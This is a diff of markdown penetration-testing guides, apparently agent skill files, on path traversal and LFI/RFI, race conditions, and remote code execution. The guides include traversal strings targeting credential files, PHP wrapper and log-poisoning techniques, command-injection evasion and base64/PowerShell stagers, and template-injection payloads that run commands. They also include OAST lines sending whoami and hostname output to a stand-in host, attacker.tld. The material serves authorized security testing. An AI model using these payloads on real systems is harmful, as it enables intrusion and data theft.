|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
### Surface Map
|
### Surface Map
|
||||||
|
|
||||||
- HTTP params: file, path, template, include, page, view, download, export, report, log, dir, theme, lang
|
- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
|
||||||
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
||||||
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
||||||
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
||||||
@@ -32,56 +50,74 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
|||||||
|
|
||||||
### Capability Probes
|
### Capability Probes
|
||||||
|
|
||||||
- Path traversal baseline: ../../etc/hosts and C:\\Windows\\win.ini
|
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
|
||||||
- Encodings: %2e%2e%2f, %252e%252e%252f, ..%2f, ..%5c, mixed UTF-8 (%c0%2e), Unicode dots and slashes
|
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
|
||||||
- Normalization tests: ....//, ..\\, ././, trailing dot/double dot segments; repeated decoding
|
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
|
||||||
- Absolute path acceptance: /etc/passwd, C:\\Windows\\System32\\drivers\\etc\\hosts
|
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
|
||||||
- Server mismatch: /static/..;/../etc/passwd ("..;"), encoded slashes (%2F), double-decoding via upstream
|
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
|
||||||
|
|
||||||
## Detection Channels
|
## Detection Channels
|
||||||
|
|
||||||
### Direct
|
### Direct
|
||||||
|
|
||||||
- Response body discloses file content (text, binary, base64); error pages echo real paths
|
- Response body discloses file content (text, binary, base64)
|
||||||
|
- Error pages echo real paths
|
||||||
|
|
||||||
### Error Based
|
### Error-Based
|
||||||
|
|
||||||
- Exception messages expose canonicalized paths or include() warnings with real filesystem locations
|
- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations
|
||||||
|
|
||||||
### Oast
|
### OAST
|
||||||
|
|
||||||
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
||||||
|
|
||||||
### Side Effects
|
### Side Effects
|
||||||
|
|
||||||
- Archive extraction writes files unexpectedly outside target; verify with directory listings or follow-up reads
|
- Archive extraction writes files unexpectedly outside target
|
||||||
|
- Verify with directory listings or follow-up reads
|
||||||
|
|
||||||
## Path Traversal
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Bypasses And Variants
|
### Path Traversal Bypasses
|
||||||
|
|
||||||
- Encodings: single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
**Encodings**
|
||||||
- Mixed separators: / and \\ on Windows; // and \\\\ collapse differences across frameworks
|
- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
||||||
- Dot tricks: ....// (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
|
||||||
- Absolute path injection: bypass joins by supplying a rooted path
|
|
||||||
- Alias/root mismatch (nginx): alias without trailing slash with nested location allows ../ to escape; try /static/../etc/passwd and ";" variants (..;)
|
|
||||||
- Upstream vs backend decoding: proxies/CDNs decoding %2f differently; test double-decoding and encoded dots
|
|
||||||
|
|
||||||
### High Value Targets
|
**Mixed Separators**
|
||||||
|
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
|
||||||
|
|
||||||
- /etc/passwd, /etc/hosts, application .env/config.yaml, SSH/keys, cloud creds, service configs/logs
|
**Dot Tricks**
|
||||||
- Windows: C:\\Windows\\win.ini, IIS/web.config, programdata configs, application logs
|
- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
||||||
- Source code templates and server-side includes; secrets in env dumps
|
|
||||||
|
|
||||||
## Lfi
|
**Absolute Path Injection**
|
||||||
|
- Bypass joins by supplying a rooted path
|
||||||
|
|
||||||
### Wrappers And Techniques
|
**Alias/Root Mismatch**
|
||||||
|
- nginx alias without trailing slash with nested location allows `../` to escape
|
||||||
|
- Try `/static/../etc/passwd` and ";" variants (`..;`)
|
||||||
|
|
||||||
- PHP wrappers: php://filter/convert.base64-encode/resource=index.php (read source), zip://archive.zip#file.txt, data://text/plain;base64, expect:// (if enabled)
|
**Upstream vs Backend Decoding**
|
||||||
- Log/session poisoning: inject PHP/templating payloads into access/error logs or session files then include them (paths vary by stack)
|
- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots
|
||||||
- Upload temp names: include temporary upload files before relocation; race with scanners
|
|
||||||
- /proc/self/environ and framework-specific caches for readable secrets
|
### LFI Wrappers and Techniques
|
||||||
- Null-byte (legacy): %00 truncation in older stacks; path length truncation tricks
|
|
||||||
|
**PHP Wrappers**
|
||||||
|
- `php://filter/convert.base64-encode/resource=index.php` (read source)
|
||||||
|
- `zip://archive.zip#file.txt`
|
||||||
|
- `data://text/plain;base64`
|
||||||
|
- `expect://` (if enabled)
|
||||||
|
|
||||||
|
**Log/Session Poisoning**
|
||||||
|
- Inject PHP/templating payloads into access/error logs or session files then include them
|
||||||
|
|
||||||
|
**Upload Temp Names**
|
||||||
|
- Include temporary upload files before relocation; race with scanners
|
||||||
|
|
||||||
|
**Proc and Caches**
|
||||||
|
- `/proc/self/environ` and framework-specific caches for readable secrets
|
||||||
|
|
||||||
|
**Legacy Tricks**
|
||||||
|
- Null-byte (`%00`) truncation in older stacks; path length truncation
|
||||||
|
|
||||||
### Template Engines
|
### Template Engines
|
||||||
|
|
||||||
@@ -89,33 +125,43 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
|||||||
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
||||||
- Seek dynamic template resolution from user input (theme/lang/template)
|
- Seek dynamic template resolution from user input (theme/lang/template)
|
||||||
|
|
||||||
## Rfi
|
### RFI Conditions
|
||||||
|
|
||||||
### Conditions
|
**Requirements**
|
||||||
|
- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
|
||||||
|
- Custom fetchers that eval/execute retrieved content
|
||||||
|
- SSRF-to-exec bridges
|
||||||
|
|
||||||
- Remote includes (allow_url_include/allow_url_fopen in PHP), custom fetchers that eval/execute retrieved content, SSRF-to-exec bridges
|
**Protocol Handlers**
|
||||||
- Protocol handlers: http, https, ftp; language-specific stream handlers
|
- http, https, ftp; language-specific stream handlers
|
||||||
|
|
||||||
### Exploitation
|
**Exploitation**
|
||||||
|
- Host a minimal payload that proves code execution
|
||||||
|
- Prefer OAST beacons or deterministic output over heavy shells
|
||||||
|
- Chain with upload or log poisoning when remote includes are disabled
|
||||||
|
|
||||||
- Host a minimal payload that proves code execution; prefer OAST beacons or deterministic output over heavy shells
|
### Archive Extraction (Zip Slip)
|
||||||
- Chain with upload or log poisoning when remote includes are disabled to reach local payloads
|
|
||||||
|
|
||||||
## Archive Extraction
|
- Files within archives containing `../` or absolute paths escape target extract directory
|
||||||
|
- Test multiple formats: zip/tar/tgz/7z
|
||||||
### Zip Slip
|
- Verify symlink handling and path canonicalization prior to write
|
||||||
|
|
||||||
- Files within archives containing ../ or absolute paths escape target extract directory
|
|
||||||
- Test multiple formats: zip/tar/tgz/7z; verify symlink handling and path canonicalization prior to write
|
|
||||||
- Impact: overwrite config/templates or drop webshells into served directories
|
- Impact: overwrite config/templates or drop webshells into served directories
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
|
||||||
|
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
|
||||||
|
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
|
||||||
|
4. **Compare behaviors** - Web server vs application behavior
|
||||||
|
5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Show a minimal traversal read proving out-of-root access (e.g., /etc/hosts) with a same-endpoint in-root control.
|
1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
|
||||||
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (php://filter base64 of index.php); avoid active code when not permitted.
|
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
|
||||||
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads.
|
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
|
||||||
4. For Zip Slip, create an archive with ../ entries and show write outside target (e.g., marker file read back).
|
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
|
||||||
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility.
|
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -133,12 +179,12 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise.
|
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
|
||||||
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for %2f and %2e encodings.
|
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
|
||||||
3. For LFI, prefer php://filter base64 probes over destructive payloads; enumerate readable logs and sessions.
|
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
|
||||||
4. Validate extraction code with synthetic archives; include symlinks and deep ../ chains.
|
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
|
||||||
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems.
|
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.
|
Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.
|
||||||
|
|||||||
@@ -1,40 +1,27 @@
|
|||||||
# RACE CONDITIONS
|
---
|
||||||
|
name: race-conditions
|
||||||
|
description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Race Conditions
|
||||||
|
|
||||||
Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
|
Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Read–modify–write sequences without atomicity or proper locking
|
**Read-Modify-Write**
|
||||||
- Multi-step operations (check → reserve → commit) with gaps between phases
|
- Sequences without atomicity or proper locking
|
||||||
- Cross-service workflows (sagas, async jobs) with eventual consistency
|
|
||||||
- Rate limits, quotas, and idempotency controls implemented at the edge only
|
|
||||||
|
|
||||||
## Methodology
|
**Multi-Step Operations**
|
||||||
|
- Check → reserve → commit with gaps between phases
|
||||||
|
|
||||||
1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache).
|
**Cross-Service Workflows**
|
||||||
2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses.
|
- Sagas, async jobs with eventual consistency
|
||||||
3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections).
|
|
||||||
4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
**Rate Limits and Quotas**
|
||||||
|
- Controls implemented at the edge only
|
||||||
|
|
||||||
### Identify Race Windows
|
## High-Value Targets
|
||||||
|
|
||||||
- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume"
|
|
||||||
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced
|
|
||||||
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
|
|
||||||
- Map cross-service steps: when is state written vs published, and what retries/compensations exist
|
|
||||||
|
|
||||||
### Signals
|
|
||||||
|
|
||||||
- Sequential request fails but parallel succeeds
|
|
||||||
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
|
|
||||||
- Distinct response shapes/timings for simultaneous vs sequential requests
|
|
||||||
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
|
|
||||||
|
|
||||||
### Surface Map
|
|
||||||
|
|
||||||
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
|
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
|
||||||
- Coupons/discounts: single-use codes, stacking checks, per-user limits
|
- Coupons/discounts: single-use codes, stacking checks, per-user limits
|
||||||
@@ -44,7 +31,23 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
|
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
|
||||||
- GraphQL mutations and batch operations; WebSocket actions
|
- GraphQL mutations and batch operations; WebSocket actions
|
||||||
|
|
||||||
## Exploitation Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
|
### Identify Race Windows
|
||||||
|
|
||||||
|
- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
|
||||||
|
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
|
||||||
|
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
|
||||||
|
- Map cross-service steps: when is state written vs published, what retries/compensations exist
|
||||||
|
|
||||||
|
### Signals
|
||||||
|
|
||||||
|
- Sequential request fails but parallel succeeds
|
||||||
|
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
|
||||||
|
- Distinct response shapes/timings for simultaneous vs sequential requests
|
||||||
|
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Request Synchronization
|
### Request Synchronization
|
||||||
|
|
||||||
@@ -52,7 +55,7 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
- Last-byte synchronization: hold requests open and release final byte simultaneously
|
- Last-byte synchronization: hold requests open and release final byte simultaneously
|
||||||
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
|
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
|
||||||
|
|
||||||
### Idempotency And Dedup Bypass
|
### Idempotency and Dedup Bypass
|
||||||
|
|
||||||
- Reuse the same idempotency key across different principals/paths if scope is inadequate
|
- Reuse the same idempotency key across different principals/paths if scope is inadequate
|
||||||
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
|
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
|
||||||
@@ -64,19 +67,17 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
- Partial two-phase workflows: success committed before validation completes
|
- Partial two-phase workflows: success committed before validation completes
|
||||||
- Unique checks done outside a unique index/upsert: create duplicates under load
|
- Unique checks done outside a unique index/upsert: create duplicates under load
|
||||||
|
|
||||||
### Cross Service Races
|
### Cross-Service Races
|
||||||
|
|
||||||
- Saga/compensation timing gaps: execute compensation without preventing the original success path
|
- Saga/compensation timing gaps: execute compensation without preventing the original success path
|
||||||
- Eventual consistency windows: act in Service B before Service A's write is visible
|
- Eventual consistency windows: act in Service B before Service A's write is visible
|
||||||
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
|
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
|
||||||
|
|
||||||
### Rate Limits And Quotas
|
### Rate Limits and Quotas
|
||||||
|
|
||||||
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
|
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
|
||||||
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
|
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
|
||||||
|
|
||||||
## Advanced Techniques
|
|
||||||
|
|
||||||
### Optimistic Concurrency Evasion
|
### Optimistic Concurrency Evasion
|
||||||
|
|
||||||
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
|
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
|
||||||
@@ -102,22 +103,26 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
|
|
||||||
## Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
### Graphql
|
### GraphQL
|
||||||
|
|
||||||
- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity
|
- Parallel mutations and batched operations may bypass per-mutation guards
|
||||||
|
- Ensure resolver-level idempotency and atomicity
|
||||||
- Persisted queries and aliases can hide multiple state changes in one request
|
- Persisted queries and aliases can hide multiple state changes in one request
|
||||||
|
|
||||||
### Websocket
|
### WebSocket
|
||||||
|
|
||||||
- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked
|
- Per-message authorization and idempotency must hold
|
||||||
|
- Concurrent emits can create duplicates if only the handshake is checked
|
||||||
|
|
||||||
### Files And Storage
|
### Files and Storage
|
||||||
|
|
||||||
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently
|
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
|
||||||
|
- Re-use pre-signed URLs concurrently
|
||||||
|
|
||||||
### Auth Flows
|
### Auth Flows
|
||||||
|
|
||||||
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic
|
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
|
||||||
|
- Verify consume is atomic
|
||||||
|
|
||||||
## Chaining Attacks
|
## Chaining Attacks
|
||||||
|
|
||||||
@@ -126,13 +131,23 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
- Race + CSRF: trigger parallel actions from a victim to amplify effects
|
- Race + CSRF: trigger parallel actions from a victim to amplify effects
|
||||||
- Race + Caching: stale caches re-serve privileged states after concurrent changes
|
- Race + Caching: stale caches re-serve privileged states after concurrent changes
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
|
||||||
|
2. **Identify reads/writes** - Where they occur (service, DB, cache)
|
||||||
|
3. **Baseline** - Single requests to establish expected behavior
|
||||||
|
4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas
|
||||||
|
5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)
|
||||||
|
6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
|
||||||
|
7. **Confirm durability** - Verify state changes persist and are reproducible
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Single request denied; N concurrent requests succeed where only 1 should.
|
1. Single request denied; N concurrent requests succeed where only 1 should
|
||||||
2. Durable state change proven (ledger entries, inventory counts, role/flag changes).
|
2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
|
||||||
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs.
|
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
|
||||||
4. Evidence across channels (e.g., REST and GraphQL) if applicable.
|
4. Evidence across channels (e.g., REST and GraphQL) if applicable
|
||||||
5. Include before/after state and exact request set used.
|
5. Include before/after state and exact request set used
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -150,17 +165,17 @@ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse,
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision.
|
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
|
||||||
2. Start small (N=5–20), then scale; too much noise can mask the window.
|
2. Start small (N=5–20), then scale; too much noise can mask the window
|
||||||
3. Target read–modify–write code paths and endpoints with idempotency keys.
|
3. Target read–modify–write code paths and endpoints with idempotency keys
|
||||||
4. Compare REST vs GraphQL vs WebSocket; protections often differ.
|
4. Compare REST vs GraphQL vs WebSocket; protections often differ
|
||||||
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics.
|
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
|
||||||
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks.
|
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
|
||||||
7. Use correlation IDs and logs to prove concurrent interleaving.
|
7. Use correlation IDs and logs to prove concurrent interleaving
|
||||||
8. Widen windows by adding server load or slow backend dependencies.
|
8. Widen windows by adding server load or slow backend dependencies
|
||||||
9. Validate on production-like latency; some races only appear under real load.
|
9. Validate on production-like latency; some races only appear under real load
|
||||||
10. Document minimal, repeatable request sets that demonstrate durable impact.
|
10. Document minimal, repeatable request sets that demonstrate durable impact
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.
|
Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.
|
||||||
|
|||||||
@@ -1,69 +1,99 @@
|
|||||||
# REMOTE CODE EXECUTION (RCE)
|
---
|
||||||
|
name: rce
|
||||||
|
description: RCE testing covering command injection, deserialization, template injection, and code evaluation
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# RCE
|
||||||
|
|
||||||
RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
|
Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Command Execution**
|
||||||
- OS command execution via wrappers (shells, system utilities, CLIs)
|
- OS command execution via wrappers (shells, system utilities, CLIs)
|
||||||
- Dynamic evaluation: template engines, expression languages, eval/vm
|
|
||||||
|
**Dynamic Evaluation**
|
||||||
|
- Template engines, expression languages, eval/vm
|
||||||
|
|
||||||
|
**Deserialization**
|
||||||
- Insecure deserialization and gadget chains across languages
|
- Insecure deserialization and gadget chains across languages
|
||||||
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
|
|
||||||
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
|
|
||||||
- Container/Kubernetes escalation from app RCE to node/cluster compromise
|
|
||||||
|
|
||||||
## Methodology
|
**Media Pipelines**
|
||||||
|
- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg
|
||||||
|
|
||||||
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
|
**SSRF Chains**
|
||||||
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
|
- Internal services exposing execution primitives (FastCGI, Redis)
|
||||||
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
|
|
||||||
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
|
**Container Escalation**
|
||||||
|
- App RCE to node/cluster compromise via Docker/Kubernetes
|
||||||
|
|
||||||
## Detection Channels
|
## Detection Channels
|
||||||
|
|
||||||
### Time Based
|
### Time-Based
|
||||||
|
|
||||||
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
|
**Unix**
|
||||||
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
|
- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
|
||||||
|
- Gate delays with short subcommands to reduce noise
|
||||||
|
|
||||||
### Oast
|
**Windows**
|
||||||
|
- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
|
||||||
|
- PowerShell: `Start-Sleep -s 2`
|
||||||
|
|
||||||
- DNS: `nslookup $(whoami).x.attacker.tld` or `curl http://$(id -u).x.attacker.tld`
|
### OAST
|
||||||
- HTTP beacon: `curl https://attacker.tld/$(hostname)` (or fetch to pre-signed URL)
|
|
||||||
|
|
||||||
### Output Based
|
**DNS**
|
||||||
|
```bash
|
||||||
|
nslookup $(whoami).x.attacker.tld
|
||||||
|
```
|
||||||
|
|
||||||
- Direct: ;id;uname -a;whoami
|
**HTTP**
|
||||||
- Encoded: ;(id;hostname)|base64; hex via xxd -p
|
```bash
|
||||||
|
curl https://attacker.tld/$(hostname)
|
||||||
|
```
|
||||||
|
|
||||||
## Command Injection
|
### Output-Based
|
||||||
|
|
||||||
### Delimiters And Operators
|
**Direct**
|
||||||
|
```bash
|
||||||
|
;id;uname -a;whoami
|
||||||
|
```
|
||||||
|
|
||||||
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
|
**Encoded**
|
||||||
|
```bash
|
||||||
|
;(id;hostname)|base64
|
||||||
|
```
|
||||||
|
|
||||||
### Argument Injection
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
|
### Command Injection
|
||||||
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
|
|
||||||
|
|
||||||
### Path And Builtin Confusion
|
**Delimiters and Operators**
|
||||||
|
- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
|
||||||
|
- Windows: `& | || ^`
|
||||||
|
|
||||||
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
|
**Argument Injection**
|
||||||
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
|
- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
|
||||||
|
- Break out of quoted segments by alternating quotes and escapes
|
||||||
|
- Environment expansion: `$PATH`, `${HOME}`, command substitution
|
||||||
|
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
|
||||||
|
|
||||||
### Evasion
|
**Path and Builtin Confusion**
|
||||||
|
- Force absolute paths (`/usr/bin/id`) vs relying on PATH
|
||||||
|
- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered
|
||||||
|
- Use `sh -c` or `cmd /c` wrappers to reach the shell
|
||||||
|
|
||||||
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
|
**Evasion**
|
||||||
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
|
- Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
|
||||||
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
|
- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
|
||||||
|
- Variable building: `a=i;b=d; $a$b`
|
||||||
|
- Base64 stagers: `echo payload | base64 -d | sh`
|
||||||
|
- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`
|
||||||
|
|
||||||
## Template Injection
|
### Template Injection
|
||||||
|
|
||||||
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
||||||
- Move from expression to code execution primitives (read file, run command)
|
|
||||||
- Minimal probes:
|
**Minimal Probes**
|
||||||
```
|
```
|
||||||
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
||||||
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
||||||
@@ -71,62 +101,114 @@ Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>$
|
|||||||
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
||||||
```
|
```
|
||||||
|
|
||||||
